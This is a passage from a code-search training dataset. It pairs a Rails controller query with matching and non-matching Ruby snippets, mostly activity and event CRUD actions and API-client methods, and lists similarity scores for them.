"def favorite_activities()\n get(\"/user/#{@user_id}/activities/favorite.json\")\n end",
"def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end",
"def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end",
"def favorite_activities\n get(\"/user/#{@user_id}/activities/favorite.json\")\n end",
"def activities(options = {})\n get('/user/activities', query: options)\n end",
"def show\n @model = Model.find(params[:id])\n @model_activities = @model.included_activities\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @model.to_xml(:methods => [:activity_use_count])}\n end\n end",
"def activities\n\t activity_feed.activities\n\tend",
"def show\n @activity = Activity.find(params[:id])\n @actattributes = @activity.actattributes\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def fetch(activity_id)\n RubyRedtail::Query.run(\"calendar/activities/#{activity_id}\", @api_hash, \"GET\")\n end",
"def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n format.json { render :json => @activity.to_json }\n end\n end",
"def activities_on_date(date)\n get(\"/user/#{@user_id}/activities/date/#{format_date(date)}.json\")\n end",
"def activities_on_date(date)\n get(\"/user/#{@user_id}/activities/date/#{format_date(date)}.json\")\n end",
"def show\n @search_activity = @site.search_activities.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @search_activity }\n end\n end",
"def show\n begin\n @activity = PublicActivity::Activity.all.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n return render_errors(['No activity found.'])\n end\n\n return render :json => {:status => 1, :activities => @activities}\n end",
"def activities(time = nil, filter = nil)\n parse_xml(*activities_xml(time, filter))\n end",
"def activities_get(opts = {})\n activities_get_with_http_info(opts)\n end",
"def index\n @search_activities = @site.search_activities.order('stamped_at desc').paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @search_activities }\n end\n end",
"def index\n @app = App.find(params[:app_id])\n @activities = @app.activities.all(:order => 'updated_at DESC')\n @activity = @app.activities.build\n @base_versions = [Activity::NO_BASE_VERSION]\n\n respond_to do |format|\n format.html do # index.html.erb\n if request.xhr?\n render :partial => 'index', :locals => {:app => @app, :activities => @activities}\n end\n end\n format.xml { render :xml => @activities }\n format.atom # index.atom.builder\n end\n end",
"def index\n @events = Event.find_upcoming(5).reverse\n @title = 'Tulevat tapahtumat'\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => events }\n end\n end",
"def index\n \n @activities = Activity.search(params[:search], params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activities }\n end\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def show\n @activity_event = ActivityEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_event }\n end\n end",
"def activity_detail(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"activities/#{id}\", params)\n end",
"def event_info(event_id, event_type = 'sr:match')\n get(\"sports/en/sport_events/#{event_type}:#{event_id}/timeline.xml\")\n end",
"def show\n @activity = Activity.find(params[:id])\n end",
"def show\n @activities_project = ActivitiesProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activities_project }\n end\n end",
"def show\n @spot_activity = SpotActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end",
"def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end",
"def show\n @activity = current_user.activities.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end",
"def recent_activity\n doc = request(@user, \"recentactivity\")\n items = []\n doc.xpath('//rss/channel/item').each do |node|\n items << { :title => node.xpath('title').text.strip,\n :link => node.xpath('link').text.strip,\n :description => node.xpath('description').text.strip,\n :date => node.xpath('pubDate').text.strip,\n :track => node.xpath('mm:Track/dc:title').text.strip,\n :artist => node.xpath('mm:Artist/dc:title').text.strip,\n :album => node.xpath('mm:Album/dc:title').text.strip,\n :artwork => node.xpath('pandora:albumArtUrl').text.strip,\n :station => node.xpath('pandora:stationLink').text.strip}\n end\n items\n end",
"def show\n @activity_inventory = ActivityInventory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity_inventory }\n end\n end",
"def get(params={})\n if params[\"until\"]\n params[\"until\"] = ParseHelper.format_time(params[\"until\"])\n end\n\n if params[\"since\"]\n params[\"since\"] = ParseHelper.format_time(params[\"since\"])\n end\n\n if params[\"object\"]\n params[\"object_id\"] = params[\"object\"].id\n params.delete(\"object\")\n end\n\n if params[\"parent_object\"]\n params[\"parent_object_id\"] = params[\"parent_object\"].id\n params.delete(\"parent_object\")\n end\n\n if params[\"parent_item\"]\n params[\"parent_item_id\"] = params[\"parent_item\"].id\n params.delete(\"parent_item\")\n end\n\n if params[\"initiator\"]\n params[\"initiator_id\"] = params[\"initiator\"].id\n params.delete(\"initiator\")\n end\n\n result = @client.api_helper.get_response(Config::TODOIST_ACTIVITY_GET_COMMAND, params)\n end",
"def activity(user = nil, opts = {})\n client.get_activity(user, opts)\n end",
"def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @activite.to_xml }\n end\n end",
"def index\n @activities = Activity.all\n @recievers = Reciever.all\n end",
"def show\n @recent_activity = RecentActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recent_activity }\n end\n end",
"def index\n@activity = Activity.all\nend",
"def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end",
"def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end",
"def get_project_activities(project_id_or_key, params = {})\n get(\"projects/#{project_id_or_key}/activities\", params)\n end",
"def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activite }\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html { redirect_to activity_comments_url(@activity) }\n format.xml { render :xml => @activity.to_xml(:include => :user, :except => NB_CONFIG['api_exclude_fields']) }\n format.json { render :json => @activity.to_json(:include => :user, :except => NB_CONFIG['api_exclude_fields']) } \n end \n end",
"def index\n @status_activities = StatusActivity.all\n end",
"def url\n activity_path(self)\n end",
"def index\n @activities = current_user.attending_activities\n render :index\n end",
"def activities(params = {})\n rv = []\n try_again = true\n fetched = 0\n p = params.dup\n p[:offset] = 0\n\n while try_again do\n result = api_call(ROOT_ACTIVITIES, p)\n return nil if result.nil?\n rv += result[:results]\n\n meta = result[:meta]\n fetched += meta[:count]\n if fetched >= meta[:total]\n try_again = false\n else\n p[:offset] += meta[:count]\n end\n end\n\n rv\n end",
"def get_friends_activities_atom(user_id,params={})\n @restv1.get_friends_activities(user_id, params)\n end",
"def show\n @activity = current_user.user_activities.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end",
"def activities\n children('activities')\n end",
"def index\n\n @sheetfile_id = params[ :my_activity ][ :sheetfile_id].to_i\n @activities = Activity.where( sheetfile_id: @sheetfile_id )\n end",
"def activity_stream_uri\n \"filters/#{name}/activity\"\n end",
"def activity\n @root.xpath('TrackSummary').map do |act|\n Activity.new(act)\n end +\n @root.xpath('TrackDetail').map do |act|\n Activity.new(act)\n end\n end",
"def activity\n @root.xpath('TrackSummary').map do |act|\n Activity.new(act)\n end +\n @root.xpath('TrackDetail').map do |act|\n Activity.new(act)\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end",
"def get_activities(user_id, params = {})\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n call_myspace_api(:activities, params.dup.update(:user_id => user_id))\n end",
"def show\n @activity = Activity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end",
"def show\n @activity=Activity.find(params[:id])\n end",
"def get_activities_by_object_type_and_id(object_type, id)\n @client.raw('get', \"/helpers/activities/#{object_type}/#{id}\")\n end",
"def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html\n format.json { render json: @activity}\n end\n end",
"def index\n @meetings = Meeting.recent\n @past_meetings = Meeting.recent.past\n @upcoming_meetings = Meeting.upcoming\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meetings }\n format.atom\n end\n end",
"def index\n @activities = current_user.activities\n end",
"def fetch_activities(token, params)\n params.to_options!\n\n # Setup params.\n setup_params_logic = lambda do |last_request, params|\n if !last_request.blank?\n params[:occurred_since_date] = last_request\n end\n end\n\n # Parse the response.\n response_parse_logic = lambda do |response|\n content_keys = {}\n doc = Nokogiri::XML(response.body)\n\n doc.xpath(\"/activities//activity\").each do |act|\n id = act.search('id').first.inner_html\n content_keys[id] = act.to_s\n end\n content_keys\n end\n\n url = format_project_url(get_api_url('activities'), params[:project_id])\n fetch(::PivotalTracker::Activity, token, url,\n response_parse_logic, setup_params_logic, true)\n end",
"def new\n @external_activity = ExternalActivity.new\n @external_activity.user = current_visitor\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @external_activity }\n end\n end",
"def get_activities(user_id, params = {})\r\n user_id = user_id.to_s\r\n @context.validate_identifier(:user_id, user_id)\r\n @context.call_myspace_api(:activities, params.dup.update(:user_id => user_id))\r\n end",
"def show\n @activity_type = ActivityType.find(params[:id]) \n @activitypage = @activity_type.activities.page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_type }\n end\n end",
"def activity\n end"
] |
[
"0.7351188",
"0.71314645",
"0.71314645",
"0.70323646",
"0.68429315",
"0.68257695",
"0.67919326",
"0.6781799",
"0.67257005",
"0.66720337",
"0.6629581",
"0.65464664",
"0.64966106",
"0.64431894",
"0.6435166",
"0.63953954",
"0.6381463",
"0.63732475",
"0.63700044",
"0.6361985",
"0.6361985",
"0.6361985",
"0.6298074",
"0.6226418",
"0.6219241",
"0.6205616",
"0.6205616",
"0.6196158",
"0.6189482",
"0.6185418",
"0.6166049",
"0.6139322",
"0.6139246",
"0.6137476",
"0.60954934",
"0.60954934",
"0.6075479",
"0.60718244",
"0.60716444",
"0.60322255",
"0.6018844",
"0.6017359",
"0.5999029",
"0.5996305",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5984074",
"0.5967016",
"0.5957783",
"0.5954112",
"0.5938169",
"0.59334654",
"0.5911011",
"0.58983445",
"0.589697",
"0.5896644",
"0.5890709",
"0.58906144",
"0.5887324",
"0.58821416",
"0.5874648",
"0.58660215",
"0.58623135",
"0.5849634",
"0.58494633",
"0.5844523",
"0.5824616",
"0.58244425",
"0.5817321",
"0.58150345",
"0.5794874",
"0.5791055",
"0.57896334",
"0.5778759",
"0.5775213",
"0.5772482",
"0.57719165",
"0.5762982",
"0.5762982",
"0.57594806",
"0.57594806",
"0.5758425",
"0.57542545",
"0.57466996",
"0.5735933",
"0.5731456",
"0.5722897",
"0.5718863",
"0.5712587",
"0.5703358",
"0.570125",
"0.5697923",
"0.56911695"
] |
0.7229046
|
1
|
GET /evactivities/new GET /evactivities/new.xml
|
def new
@evactivity = Evactivity.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @evactivity }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @today_activity = TodayActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @today_activity }\n end\n end",
"def new\n @activity = Activity.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @activity = Activity.new\n @attcategories = Attcategory.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def create\n @evactivity = Evactivity.new(params[:evactivity])\n\n respond_to do |format|\n if @evactivity.save\n flash[:notice] = 'Evactivity was successfully created.'\n format.html { redirect_to(@evactivity) }\n format.xml { render :xml => @evactivity, :status => :created, :location => @evactivity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evactivity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @app = App.find(params[:app_id])\n @activity = @app.activities.build\n @base_versions = [Activity::NO_BASE_VERSION]\n\n respond_to do |format|\n format.html do # new.html.erb\n render :layout => false if request.xhr?\n end\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @current_activity = CurrentActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @current_activity }\n end\n end",
"def new\n @breadcrumb = 'create'\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end",
"def new\n @activity = Activity.new\n @categories = Category.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @recent_activity = RecentActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recent_activity }\n end\n end",
"def new\n @external_activity = ExternalActivity.new\n @external_activity.user = current_visitor\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @external_activity }\n end\n end",
"def new\n authorize ExternalActivity\n @external_activity = ExternalActivity.new\n @external_activity.user = current_visitor\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @external_activity }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end",
"def new\n @activity_event = ActivityEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity_event }\n end\n end",
"def new\n @spot_activity = SpotActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end",
"def new\n @activity = Activity.new\n @series = get_series('activities')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end",
"def new\n @activities_project = ActivitiesProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activities_project }\n end\n end",
"def new\n authorize Activity\n @activity = Activity.new\n @activity.user = current_visitor\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @schedule = Schedule.new\n @apps = App.find(:all)\n @tags = Contact.get_tags\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @schedule }\n end\n end",
"def new\n @activity_inventory = ActivityInventory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @activity_inventory }\n end\n end",
"def new\n @event = Event.new_default\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = IndrelEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @event }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @event }\n end\n end",
"def new\n @ep = Ep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ep }\n end\n end",
"def new\n setup_variables\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n @title = 'New Event'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @activite = Activite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activite }\n end\n end",
"def new\n respond_to do |format|\n format.xml { render :xml => @schedule }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def new\n @activity_tag = ActivityTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity_tag }\n end\n end",
"def new\n @activity = Activity.new\n @activity.project_id = session[:project_id] unless session[:project_id].nil?\n @activity.do_today = true\n @activity.someday = true\n \n respond_to do |format|\n format.js { }\n format.html # new.html.erb\n format.xml { render :xml => @activity }\n format.json { render :json => @activity }\n end\n end",
"def new\n @activity = Activity.new\n end",
"def new\n @activity = Activity.new\n end",
"def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end",
"def new\n @activity_item = ActivityItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity_item }\n end\n end",
"def new\n @click_to_talk = ClickToTalk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @click_to_talk }\n end\n end",
"def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end",
"def new\n @episode = Episode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episode }\n end\n end",
"def new\n @episode = Episode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episode }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n setup_accounts\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event = Event.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @event = Event.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @auditflows_flownode = AuditflowsFlownode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @auditflows_flownode }\n end\n end",
"def new\n @event = Event.new\n @page_title = \"Add an Event\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @event_type = EventType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @event_type }\n end\n end",
"def new\n @task = context.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite }\n end\n end",
"def new\n @my_activity = MyActivity.new\n @all_activites = MyActivity.where(\"user_id =?\", current_user.id).order('created_at DESC').limit(10)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_activity }\n end\n end",
"def new\n @event = Event.find(params[:event_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eventtime }\n end\n end",
"def new\n @workflow = Workflow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @workflow }\n end\n end",
"def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end",
"def new\n @page_title = \"Task List New\"\n @task_list = TaskList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_list }\n end\n end",
"def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tv }\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'activity was successfully saved'\n format.html { redirect_to activities_url }\n format.xml do\n headers[\"Location\"] = activity_url(@activity)\n render :nothing => true, :status => \"201 Created\"\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article.errors.to_xml }\n end\n end\n end",
"def new\n @simple_event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simple_event }\n end\n end",
"def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def new\n logger.debug 'new_some interesting information'\n @comdty = Comdty.new\n setvariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comdty }\n end\n end",
"def new\n @evento = Evento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evento }\n end\n end",
"def new\n @attendance = Attendance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendance }\n end\n end",
"def new\n @timeline = Timeline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeline }\n end\n end",
"def new\n @audit_log = AuditLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @audit_log }\n end\n end",
"def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @traffic }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @estagio = Estagio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"def new\n @trigger = Trigger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trigger }\n end\n end",
"def new\n @workflow_task = WorkflowTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @workflow_task }\n end\n end",
"def show\n @evactivity = Evactivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evactivity }\n end\n end",
"def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
"def new\n @event = Event.new\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n format.xml { render xml: @tasks }\n end\n end",
"def new\n head :status => 405\n return\n \n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @participant }\n end\n end",
"def new\n @incident = Incident.new\n \n @title = \"New Incident\" \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incident }\n end\n end",
"def new\n @vehicle_daily = VehicleDaily.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vehicle_daily }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.dialog { render :new, layout: false }\n format.json { render json: @activity }\n end\n end",
"def new\n @actu = Actu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @actu }\n end\n end",
"def new\n @the_day = TheDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @the_day }\n end\n end",
"def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end",
"def new\n @invite_request = InviteRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite_request }\n end\n end",
"def new\n\t\t@clicker = Clicker.new\t\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @clicker }\n end\n end",
"def recent_activities\n get(\"/user/#{@user_id}/activities/recent.json\")\n end",
"def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end"
] |
[
"0.7294365",
"0.7220735",
"0.72131544",
"0.72131544",
"0.72131544",
"0.7080277",
"0.7013646",
"0.70056605",
"0.69765407",
"0.6970709",
"0.6862098",
"0.68191683",
"0.67986685",
"0.67943275",
"0.67650473",
"0.6763463",
"0.6763463",
"0.67631245",
"0.67413443",
"0.673997",
"0.67360365",
"0.6717895",
"0.65967315",
"0.65908265",
"0.6460554",
"0.6459282",
"0.64540505",
"0.64411485",
"0.643513",
"0.64129144",
"0.6410748",
"0.64035374",
"0.6383428",
"0.6381023",
"0.637967",
"0.637283",
"0.637283",
"0.6372757",
"0.6369487",
"0.6337028",
"0.63270754",
"0.63091904",
"0.63091904",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.63076025",
"0.6306191",
"0.6302486",
"0.62928015",
"0.6290192",
"0.6282248",
"0.6270253",
"0.62650067",
"0.6263129",
"0.6262241",
"0.6261312",
"0.62534726",
"0.6249108",
"0.6244781",
"0.62327904",
"0.6232635",
"0.6218601",
"0.6217861",
"0.62165755",
"0.62064606",
"0.6204392",
"0.62029696",
"0.619739",
"0.6197215",
"0.6196853",
"0.61759853",
"0.6174466",
"0.61733866",
"0.6165583",
"0.61631817",
"0.61619973",
"0.61618114",
"0.61614627",
"0.6159085",
"0.61585486",
"0.61582714",
"0.6149072",
"0.61476225",
"0.61461544",
"0.61247545",
"0.61206335",
"0.61200595",
"0.61191034",
"0.61181134",
"0.6114758"
] |
0.7709218
|
0
|
POST /evactivities POST /evactivities.xml
|
def create
@evactivity = Evactivity.new(params[:evactivity])
respond_to do |format|
if @evactivity.save
flash[:notice] = 'Evactivity was successfully created.'
format.html { redirect_to(@evactivity) }
format.xml { render :xml => @evactivity, :status => :created, :location => @evactivity }
else
format.html { render :action => "new" }
format.xml { render :xml => @evactivity.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @activity = @user.activities.create(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Exercise event was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:events].nil?\n else\n params[:events].each do |e|\n if Activity.exists?(uuid: params[:events][e][:id])\n @activity = Activity.find_by uuid: params[:events][e][:id]\n @activity.update({\n start_time: params[:events][e][:start].in_time_zone,\n end_time: params[:events][e][:end].in_time_zone,\n })\n next\n else\n @activity = Activity.new({\n start_time: params[:events][e][:start].in_time_zone,\n end_time: params[:events][e][:end].in_time_zone,\n uuid: params[:events][e][:id],\n name: params[:events][e][:name],\n place: params[:events][e][:google_id],\n schedule_id: params[:schedule_id]\n })\n\n @activity.save\n end\n end\n end\n end",
"def create\n\n @title = Title.find(activity_params[:title_id])\n @event = Event.find(@title[:event_id])\n @activity = Activity.new(activity_params)\n @title.activities << @activity\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
